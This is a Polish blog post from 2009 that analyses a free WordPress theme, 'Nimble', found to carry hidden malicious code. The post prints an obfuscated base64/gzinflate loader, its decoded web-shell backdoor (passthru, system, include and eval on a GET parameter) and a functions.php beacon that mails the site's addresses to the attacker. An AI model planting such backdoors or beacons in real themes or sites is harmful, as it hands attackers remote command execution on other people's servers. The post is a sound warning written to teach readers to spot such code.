Darmowe szablony/skórki WordPress – sprawdź kod zanim wrzucisz na serwer

Wpis z serii Dobre Rady Wuja Toma, przy czym tym razem rady udziela Tomasz Jach – znajomy, który trafił na ten przypadek i zaproponował napisanie tekstu na ten temat. Ku przestrodze dla innych eksperymentujących na swoich blogach.

Oczywiście sprawa nie dotyczy wyłącznie WordPress-a i skórek czy pluginów do niego. Trzeba zachować ostrożność przy korzystaniu z wszystkich możliwych skryptów i programów. Wirusy i inne złośliwe skrypty czyhają wszędzie. Zasada ograniczonego zaufania jest stale aktualna. „Everybody lies”, jak by to skwitował Dr Gregory House.

Poznajcie skórkę „Nimble”

Poznajcie darmową skórkę o nazwie Nimble, udostępnioną przez serwis wpthemespress.com. Theme jest prosty, przejrzysty i elegancki, aż chce się go wykorzystać na swoim blogu. W ciągu ostatniego roku z możliwości pobrania jej z tego serwisu skorzystało 937 osób.

Nimble: 2 Column Dark Adsense and Widget Ready WordPress Theme.

Professional Web 2.0 Premium WordPress Theme. It’s a very sleak and light weight theme that’s ultra flexible for customization.

Skórka ta jest jednak wyjątkowa z innego powodu.

functions.php

Plik functions.php znajdujący się w katalogu skórki jest wykonywany przy każdym otworzeniu bloga. Zwykle umieszcza się z nim funkcje, które np. rozszerzają możliwości konkretnego szablonu. Bardzo przydatna sprawa, sam z niej korzystam. W tym przypadku w tym pliku znalazła się jeszcze jedna dodatkowa „funkcjonalność”.

Nie będę tu przeklejał całego syfiastego skryptu, ponieważ zajmuje sporo miejsca, ale jego fragment widzicie na screenie na początku tekstu. W każdym razie, po przetworzeniu (a skubaństwo jest niezłe, dekoduje sobie dekodery do dekodowania odpowiednich fragmentów „tekstu”), wywoła się coś takiego (Tomek przesłał mi od razu przetworzone skrypty):

?><?php
$email = 'spameeeeddd@gmail.com <mailto:spameeeeddd@gmail.com>';
$message = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$headers = 'MIME-Version: 1.0'."\r\n";
$headers .= 'Content-Type: text/html'."\r\n";
$headers .= 'Content-Transfer-Encoding: quoted-printable'."\r\n";
@mail($email, 'Nimble', $message, $headers);
?><?

Czyli każdorazowe wejście na bloga powodowało ciche wysłanie na określony adres e-mail adresu odwiedzonej podstrony.

Osoba, która opublikowała ten theme, otrzymywała informację gdzie jest wykorzystywana jej skórka. Na skrzynce lądował każdy dostępny na blogu adresik.

Ale to jeszcze nie wszystko

Poprzedni ukryty kod to pikuś (a nawet pan pikuś) w porównaniu z tym, co można znaleźć w pliku comments.php, odpowiedzialnym za generowanie komentarzy na blogu.

<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKEgsLi7JKCrVUIl3dw2JVs9NLUlUj9VUsAcqAAA=')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKK4sLknN1VCJd3cNiVbPTS1JVI/VVLAHSgMA')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwSC1LzNFQiXd3DYlWz00tSVSP1VSwB0oCAA==')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwyMxLzilNSdVQiXd3DYlWz00tSVSP1VSwB8oDAA==')));?>
<?php // Do not delete these line

A po rozkodowaniu widzimy coś takiego:

?><?php @passthru($_GET['meta']) ?><? //Execute an external program and display raw output
?><?php @system($_GET['meta']) ?><?     //Execute an external program and display the output
?><?php @include($_GET['meta']) ?><? //The include() statement includes and evaluates the specified file.
?><?php @eval($_GET['meta']) ?><? //Evaluate a string as PHP code 

No proszę, backdoor. Wystarczy wywołać stronę z odpowiednio spreparowanym parametrem, a na odpowiednio skonfigurowanym serwerze można zrobić niezłe kuku.

A adresy wszystkich podatnych stron przecież mamy na odpowiedniej skrzynce, bo znaleziony w functions.php skrypcik już nas poinformował gdzie atakować.

Odpowiedź autora strony na zgłoszenie syfu:

Braydon D’aguiar do Tomasz 05.11.2009 14:28

Shit!!!! Thanks. I had someone managing that site for me and they mist of done it.

Pobrałem też paczkę z Nimble, nie ma już syfu.

Sprawdzaj kod

Sprawdzaj, sprawdzaj i jeszcze raz sprawdzaj kod skórek, pluginów i innych gotowych skryptów, które wrzucasz na swój serwer.

Wszelkie bloki zakodowanego skryptu powinny od razu zapalić w głowie ostrzegawczą lampkę. Jeśli nie jesteśmy w stanie samemu przeanalizować całego kodu, pomolestujmy trochę bardziej obeznanych znajomych.

Wpis opublikowany 5 listopada 2009
Tagi: backdoor, dziura, exploit, hidden code, nimble, trojan, ukryty kod, wordpress
Kategorie: blog, ciekawostki, internet, wordpress, wszystkie

Komentarze do wpisu "Darmowe szablony/skórki WordPress – sprawdź kod zanim wrzucisz na serwer"